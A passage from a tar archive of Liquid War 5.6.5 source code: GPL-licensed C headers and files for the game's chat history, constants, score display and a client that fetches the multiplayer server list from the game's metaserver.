*/ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : map.h */ /* contenu : decryptage des tableaux en memoire */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_MAP #define LIQUID_WAR_INCLUDE_MAP /*==================================================================*/ /* includes */ /*==================================================================*/ #include /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_MAP_SYSTEM_NAME_SIZE 16 #define LW_MAP_READABLE_NAME_SIZE 32 /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void *lw_map_archive_raw (const char *filename); void *lw_map_archive_raw_bmp (BITMAP * bmp, PALETTE pal, const char *filename); BITMAP *lw_map_create_bicolor (int num, int fg, int bg, int network, int random, int min_w, int min_h, int *zoom_factor); BITMAP *lw_map_create_textured (int num, int fg, int bg, int network, int random, int min_w, int min_h); char *lw_map_get_system_name (int num, int network, int random); char *lw_map_get_readable_name (int num, int network, int random); void lw_map_get_res (int num, int *w, int *h, int network, int random, int min_w, int min_h); #endif liquidwar-5.6.5/src/chat.c0000664000372000037200000001350413407756104015016 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : chat.c */ /* content : functions to handle chat messages */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "chat.h" /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Resets the LW_CHAT_HISTORY struct */ void lw_chat_reset (LW_CHAT_HISTORY * history) { memset (history, 0, sizeof (LW_CHAT_HISTORY)); } /*------------------------------------------------------------------*/ /* * Pushes a message in the message list */ void lw_chat_push (LW_CHAT_HISTORY * history, char *author, char *content) { LW_CHAT_MESSAGE temp; /* * We remove old messages if there's not enough room */ while (history->n >= LW_CHAT_HISTORY_SIZE) { lw_chat_pop (history, &temp); } strncpy (history->messages[history->n].author, author, NAME_SIZE); history->messages[history->n].author[NAME_SIZE] = '\0'; strncpy (history->messages[history->n].content, content, LW_CHAT_MESSAGE_SIZE); history->messages[history->n].content[LW_CHAT_MESSAGE_SIZE] = '\0'; history->n++; } /*------------------------------------------------------------------*/ /* * Gets and removes a message from the message list (FIFO style) */ int lw_chat_pop (LW_CHAT_HISTORY * history, LW_CHAT_MESSAGE * message) { int result = 0; int i; memset (message, 0, sizeof (LW_CHAT_MESSAGE)); if (history->n > 0) { memcpy (message, &(history->messages[0]), sizeof (LW_CHAT_MESSAGE)); for (i = 1; i < history->n; ++i) { memcpy (&(history->messages[i - 1]), &(history->messages[i]), sizeof (LW_CHAT_MESSAGE)); } history->n--; result = 1; } return result; } /*------------------------------------------------------------------*/ /* * Gets a message from the message list without removing it */ int lw_chat_get (LW_CHAT_HISTORY * history, LW_CHAT_MESSAGE * message, int i) { int result = 0; memset (message, 0, sizeof (LW_CHAT_MESSAGE)); if (i >= 0 && i < history->n) { memcpy (message, &(history->messages[i]), sizeof (LW_CHAT_MESSAGE)); result = 1; } return result; } liquidwar-5.6.5/src/base.h0000664000372000037200000001120213407756104015007 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : base.h */ /* contenu : global application-wide constants, macros, etc...*/ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_BASE #define LIQUID_WAR_INCLUDE_BASE /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constantes */ /*==================================================================*/ #define NB_TEAMS 6 #define NB_DIRS 12 #define DIR_NNE 0 #define DIR_NE 1 #define DIR_ENE 2 #define DIR_ESE 3 #define DIR_SE 4 #define DIR_SSE 5 #define DIR_SSW 6 #define DIR_SW 7 #define DIR_WSW 8 #define DIR_WNW 9 #define DIR_NW 10 #define DIR_NNW 11 #define LW_PROGRAM "liquidwar" #define LW_VERSION "5.6.5" #define NAME_SIZE 10 #define PASSWORD_SIZE 20 #define COMMENT_SIZE 100 #define URL_SIZE 300 /* * On windows there are problems linking with random() so we use * rand() instead, which does pretty much the same thing. Still * we keep on using random() on UNIX for it's supposed to provid * "more random" values than rand(). This is particularly noticeable * on FreeBSD. */ #ifdef WIN32 #define random rand #define srandom srand #endif #endif liquidwar-5.6.5/src/httputil.h0000664000372000037200000001033413407756104015757 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : httputil.h */ /* content : low level functions to handle http requests */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_HTTPUTIL #define LIQUID_WAR_INCLUDE_HTTPUTIL /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* structs */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_httputil_get_page (char *content, char *url, int size); void lw_httputil_text_to_urlparam (char *urlparam, char *text, int size); #endif liquidwar-5.6.5/src/graphics.h0000664000372000037200000001026613407756104015706 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : graphics.h */ /* contenu : choix des options graphiques */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_GRAPHICS #define LIQUID_WAR_INCLUDE_GRAPHICS /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int graphic_options (void); #endif liquidwar-5.6.5/src/score.c0000664000372000037200000003441213407756104015213 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : score.c */ /* contenu : calcul et affichage des scores */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "army.h" #include "back.h" #include "base.h" #include "config.h" #include "cursor.h" #include "decal.h" #include "dialog.h" #include "disk.h" #include "help.h" #include "menu.h" #include "score.h" #include "sound.h" #include "ticker.h" #include "log.h" #include "lang.h" #include "checksum.h" #include "startup.h" #include "macro.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_SCORE_TOMBOLA_MAX 500 #define LW_SCORE_DISP_BUFFER_SIZE 33 /*==================================================================*/ /* variables globales */ /*==================================================================*/ int LW_SCORE_TOMBOLA_RESULT[NB_TEAMS]; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static int get_cursor (int classement) { int i, j, indice_curseur = -1; for (i = 0; i < NB_TEAMS; ++i) if (CURRENT_CURSOR[i].active && CURRENT_CURSOR[i].loose_time < 0) { CURRENT_CURSOR[i].score_order = 1; for (j = 0; j < i; ++j) if (CURRENT_CURSOR[j].active && ACTIVE_FIGHTERS[CURRENT_CURSOR[i].team] <= ACTIVE_FIGHTERS[CURRENT_CURSOR[j].team]) CURRENT_CURSOR[i].score_order++; for (j = i + 1; j < NB_TEAMS; ++j) if (CURRENT_CURSOR[j].active && ACTIVE_FIGHTERS[CURRENT_CURSOR[i].team] < ACTIVE_FIGHTERS[CURRENT_CURSOR[j].team]) CURRENT_CURSOR[i].score_order++; } for (i = 0; i < NB_TEAMS; ++i) { if (CURRENT_CURSOR[i].score_order == classement && (CURRENT_CURSOR[i].active || CURRENT_CURSOR[i].loose_time >= 0)) indice_curseur = i; } return indice_curseur; } /*------------------------------------------------------------------*/ static void write_score (int indice, char *buffer, int fill_level) { int time, min, sec, pourmille, pourcent, decimale; int tombola; if (indice >= 0) { if (fill_level < 0) fill_level = 0; if (fill_level > 1000) fill_level = 1000; if (!STARTUP_TOMBOLA) { if (CURRENT_CURSOR[indice].score_order == 1 && PLAYING_TEAMS == 1) { LW_MACRO_STRNCPY (buffer, lw_lang_string (LW_LANG_STRING_SCORE_WINNER), LW_SCORE_DISP_BUFFER_SIZE); } else { if (CURRENT_CURSOR[indice].loose_time <= 0) { pourmille = (ACTIVE_FIGHTERS[CURRENT_CURSOR[indice].team] * fill_level) / CURRENT_ARMY_SIZE; pourcent = pourmille / 10; decimale = pourmille % 10; LW_MACRO_SNPRINTF2 (buffer, LW_SCORE_DISP_BUFFER_SIZE, "%d.%01d%%", pourcent, decimale); } else { time = (CURRENT_CURSOR[indice].loose_time * fill_level) / 1000; min = time / 60; sec = time % 60; LW_MACRO_SNPRINTF2 (buffer, LW_SCORE_DISP_BUFFER_SIZE, "%02d:%02d", min, sec); } } } else { /* * OK, we're in "tombola" mode, so we display a random * number instead of the score. */ tombola = (LW_SCORE_TOMBOLA_RESULT[indice] * fill_level) / 1000; LW_MACRO_SNPRINTF1 (buffer, LW_SCORE_DISP_BUFFER_SIZE, "%03d", tombola); } } else { LW_MACRO_SNPRINTF0 (buffer, LW_SCORE_DISP_BUFFER_SIZE, ""); } } /*------------------------------------------------------------------*/ static void init_tombola () { int i; for (i = 0; i < NB_TEAMS; ++i) { LW_SCORE_TOMBOLA_RESULT[i] = random () % LW_SCORE_TOMBOLA_MAX + 1; } } /*------------------------------------------------------------------*/ static int draw_score_bitmap (BITMAP * bitmap, int cursor, int ellipse_h, int fill_level) { int w, h; int color1 = 0, color2 = 0; int y_rect1, y_rect2, x_mid; int to_be_filled, to_be_drawn; w = bitmap->w; if (!(w & 1)) w -= 1; h = bitmap->h; y_rect1 = ellipse_h / 2; y_rect2 = h - y_rect1 - 1; x_mid = w / 2; if (cursor < 0) fill_level = 0; else { color1 = CURRENT_CURSOR[cursor].color_entry + COLORS_PER_TEAM / 2; color2 = CURRENT_CURSOR[cursor].color_entry + COLORS_PER_TEAM - 1; } if (fill_level < 0) fill_level = 0; to_be_filled = fill_level ? 1 : 0; to_be_drawn = fill_level > 1000 ? 0 : 1; if (fill_level > 1000) fill_level = 1000; if (to_be_drawn) { fill_level = 1000 - fill_level; fill_level *= h - 3 * y_rect1; fill_level /= 1000; fill_level += 2 * y_rect1; rectfill (bitmap, 0, 0, w, h, 0); if (to_be_filled) ellipsefill (bitmap, x_mid, y_rect2, x_mid, ellipse_h / 2, color1); ellipse (bitmap, x_mid, y_rect2, x_mid, ellipse_h / 2, MENU_FG); if (to_be_filled) { rectfill (bitmap, 1, fill_level, x_mid * 2 - 1, y_rect2 - 1, color1); ellipsefill (bitmap, x_mid, fill_level, x_mid - 1, ellipse_h / 2 - 1, color2); } vline (bitmap, 0, y_rect1, y_rect2, MENU_FG); vline (bitmap, x_mid * 2, y_rect1, y_rect2, MENU_FG); ellipse (bitmap, x_mid, y_rect1, x_mid, ellipse_h / 2, MENU_FG); } return to_be_drawn; } /*------------------------------------------------------------------*/ int display_scores (void) { int last_draw_done = 0; int first_ticker, diff_ticker; int retour = 0, choix = MENU_QUICK_MAIN; DIALOG d[11]; DIALOG_PLAYER *dp; char buf[3][LW_SCORE_DISP_BUFFER_SIZE]; char buf_old[3][LW_SCORE_DISP_BUFFER_SIZE]; int x[3]; int h[3]; int w, y; int ellipse_h; int i; int cursor[3]; BITMAP *eprouvette[3]; int time_delay[3] = { 500, 2500, 1500 }; int fill_level; int done[3]; memset (d, 0, sizeof (d)); quick_buttons (d); for (i = 0; i < 3; ++i) { standard_small_button (d + i + 4, i, 10, 3, 11); d[i + 4].proc = my_textbox_proc; } d[4].dp = ""; d[5].dp = ""; d[6].dp = ""; standard_button (d + 7, 0, 4, 3, 11); standard_button (d + 8, 1, 0, 3, 11); standard_button (d + 9, 2, 2, 3, 11); for (i = 0; i < 3; ++i) { d[i + 7].proc = my_textbox_proc; d[i + 7].flags = D_HIDDEN; } d[7].dp = ""; d[8].dp = ""; d[9].dp = ""; d[10].proc = NULL; init_tombola (); ellipse_h = d[4].h; y = d[4].y - menu_real_y (MENU_H_SPACE); h[1] = 2 * y - SCREEN_H; h[0] = h[1] / 2; h[2] = (3 * h[1]) / 4; w = d[4].w; x[0] = d[4].x; x[1] = d[5].x; x[2] = d[6].x; cursor[0] = get_cursor (3); cursor[1] = get_cursor (1); cursor[2] = get_cursor (2); for (i = 0; i < 3; ++i) { done[i] = 0; write_score (cursor[i], buf[i], 0); buf_old[i][0] = '\0'; eprouvette[i] = my_create_bitmap (w, h[i]); } d[MENU_QUICK_QUIT].flags = D_HIDDEN; d[MENU_QUICK_PLAY].flags = D_HIDDEN; display_back_image (); dp = my_init_dialog (d, 0); my_update_dialog (dp); shutdown_dialog (dp); my_fade_in (); play_win (); first_ticker = get_ticker (); while (retour == 0) { if (!last_draw_done) { dp = my_init_dialog (d, choix); while (my_update_dialog (dp) && !last_draw_done) { scare_mouse (); diff_ticker = get_ticker () - first_ticker; if (cursor[0] < 0) diff_ticker += 1000; for (i = 0; i < 3; ++i) { if (!done[i]) { fill_level = diff_ticker - time_delay[i]; if (draw_score_bitmap (eprouvette[i], cursor[i], ellipse_h, fill_level)) { draw_sprite (screen, eprouvette[i], x[i], y - h[i]); if (fill_level > 0) { write_score (cursor[i], buf[i], fill_level); if (strcmp (buf[i], buf_old[i]) != 0) { d[4 + i].dp = buf[i]; d[4 + i].proc (MSG_DRAW, d + 4 + i, 0); LW_MACRO_STRCPY (buf_old[i], buf[i]); } } } else { if (i == 1) { last_draw_done = 1; } d[7 + i].dp = CURRENT_CURSOR[cursor[i]].name; d[7 + i].flags = 0; d[7 + i].proc (MSG_DRAW, d + 7 + i, 0); done[i] = 1; } } } unscare_mouse (); rest (10); } choix = shutdown_dialog (dp); } if (last_draw_done) { scare_mouse (); for (i = 0; i < 3; ++i) draw_sprite (screen, eprouvette[i], x[i], y - h[i]); unscare_mouse (); d[MENU_QUICK_QUIT].flags = D_EXIT; d[MENU_QUICK_PLAY].flags = D_EXIT; choix = my_do_dialog_no_clear (d, last_draw_done == 1 ? MENU_QUICK_BACK : choix); last_draw_done = 2; } switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; else display_back_image (); break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; } } for (i = 0; i < 3; ++i) destroy_bitmap (eprouvette[i]); if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/wwwcli.c0000664000372000037200000002762013407756104015417 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : wwwcli.c */ /* content : client code used to contact www.ufoot.org */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "wwwcli.h" #include "startup.h" #include "log.h" #include "httputil.h" #include "init.h" #include "server.h" #include "macro.h" #include "ping.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_WWWCLI_HTTP_CONTENT_SIZE 100000 #define LW_WWWCLI_HTTP_URL_SIZE (URL_SIZE + 200) #define LW_WWWCLI_URL_LIST "list.txt.php" #define LW_WWWCLI_TEMP_BUFFER_SIZE 100 /* * If a line is shorter than this, we consider it as an empty * line, this avoids errors with useless stupid malformatted lines */ #define LW_WWWCLI_MIN_LINE_SIZE 20 /*==================================================================*/ /* static functions */ /*==================================================================*/ static int parse_line (LW_WWWCLI_DATA * result, char **str); static void skip_space (char **str); static int read_string (char *result, char **str, int size); static int read_int (int *result, char **str); static int read_separator (char **str); static int read_eol (char **str); static int read_eol_n (char **str, int n); static void next_line (char **str); /*==================================================================*/ /* global functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Main function of the server thread which tries to connect * on the metaserver */ int lw_wwwcli_get_games (LW_WWWCLI_DATA * buffer, int *size) { int result = 0; char buffer_content[LW_WWWCLI_HTTP_CONTENT_SIZE]; char buffer_url[LW_WWWCLI_HTTP_URL_SIZE]; char *pos, *pos_tmp; int i = 0; log_print_str ("Getting server list from \""); log_print_str (STARTUP_METASERVER); log_print_str ("\" "); memset (&buffer_url, 0, sizeof (buffer_url)); LW_MACRO_SPRINTF3 (buffer_url, "%s%s?protocol=%s&game=" LW_PROGRAM "&version=" LW_VERSION, STARTUP_METASERVER, LW_WWWCLI_URL_LIST, LW_SERVER_METASERVER_PROTOCOL); if (lw_httputil_get_page (buffer_content, buffer_url, sizeof (buffer_content))) { pos = buffer_content; while (read_eol (&pos)); while (i < (*size) && strlen (pos) > 0) { pos_tmp = pos; if (read_eol_n (&pos_tmp, LW_WWWCLI_MIN_LINE_SIZE)) { /* * This was just an empty or too short line... */ pos = pos_tmp; } else { /* * We parse the line only if there's something on it... */ if (parse_line (buffer + i, &pos)) { if (buffer[i].busy_players < buffer[i].max_players) { /* * we increment i only if there's some room left on the * server. If it's full of people playing on it, it's * of absolutely no use to present it as a working * server... And not incrementing i will make it be * overwritten by the next server. */ ++i; log_print_str ("+"); } else { log_print_str ("="); } } else { log_print_str ("-"); } } } result = 1; } if (result == 1) { (*size) = i; } else { (*size) = 0; } display_success (result); if (!result) { log_print_str ("Error: "); log_println_str (buffer_content); } return result; } /*------------------------------------------------------------------*/ /* * Parses a line returned by the meta-server */ static int parse_line (LW_WWWCLI_DATA * result, char **str) { int ok = 0; char temp[LW_WWWCLI_TEMP_BUFFER_SIZE]; memset (result, 0, sizeof (LW_WWWCLI_DATA)); if (read_string (result->ip, str, sizeof (result->ip)) && read_separator (str) && read_int (&(result->port), str) && read_separator (str) && read_string (temp, str, sizeof (temp)) && read_separator (str) && read_string (temp, str, sizeof (temp)) && read_separator (str) && read_int (&(result->uptime), str) && read_separator (str) && read_int (&(result->busy_players), str) && read_separator (str) && read_int (&(result->max_players), str) && read_separator (str) && read_int (&(result->password), str) && read_separator (str) && read_string (result->comment, str, sizeof (result->comment))) { LW_MACRO_SPRINTF3 (result->label, "%s (%d/%d)", result->ip, result->busy_players, result->max_players); result->ping_delay = lw_ping_try_server (result->ip, result->port); ok = 1; } next_line (str); return ok; } /*------------------------------------------------------------------*/ /* * Skip spaces, tabs and the likes. */ static void skip_space (char **str) { while ((isspace (**str) || (**str) == '\r') && (**str) != '\n') { ++(*str); } } /*------------------------------------------------------------------*/ /* * Reads a string between ''. Double '' are interpreted as a single ' * which is the standard SQL convention */ static int read_string (char *result, char **str, int size) { int i = 0; int done = 0; char c; skip_space (str); c = **str; if (c == '\'') { ++(*str); while ((c = **str) != '\0' && c != '\n' && !done) { ++(*str); if (c == '\'') { if ((**str) == '\'') { ++(*str); if (i < size - 1) { result[i++] = '\''; } } else { done = 1; } } else { if (i < size - 1) { result[i++] = c; } } } } result[i++] = '\0'; skip_space (str); return done; } /*------------------------------------------------------------------*/ /* * Reads an integer */ static int read_int (int *result, char **str) { int ok = 0; char c; (*result) = 0; skip_space (str); while (isdigit (c = (**str))) { ++(*str); (*result) *= 10; (*result) += c - '0'; ok = 1; } skip_space (str); return ok; } /*------------------------------------------------------------------*/ /* * Reads a field separator */ static int read_separator (char **str) { int ok = 0; char c; skip_space (str); c = **str; if (c == ',') { ++(*str); ok = 1; } skip_space (str); return ok; } /*------------------------------------------------------------------*/ /* * Reads a new-line character */ static int read_eol (char **str) { int ok = 0; char c; skip_space (str); c = **str; if (c == '\n') { ++(*str); ok = 1; } skip_space (str); return ok; } /*------------------------------------------------------------------*/ /* * Reads "less than n chars", then a "\n" */ static int read_eol_n (char **str, int n) { int ok = 0; char *tmp; skip_space (str); tmp = strchr (*str, '\n'); if (tmp != NULL) { if (tmp - (*str) < n) { ok = 1; (*str) = tmp + 1; skip_space (str); } } return ok; } /*------------------------------------------------------------------*/ /* * Reads an end of line */ static void next_line (char **str) { char *pos; int len; skip_space (str); pos = strchr (*str, '\n'); if (pos) { (*str) = pos + 1; } else { /* * No '\n' found, we decided to go to the * very end of the string */ len = strlen (*str); (*str) += len; } skip_space (str); } liquidwar-5.6.5/src/score.h0000664000372000037200000001025713407756104015221 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : score.h */ /* contenu : calcul et affichage des scores */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_SCORE #define LIQUID_WAR_INCLUDE_SCORE /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ 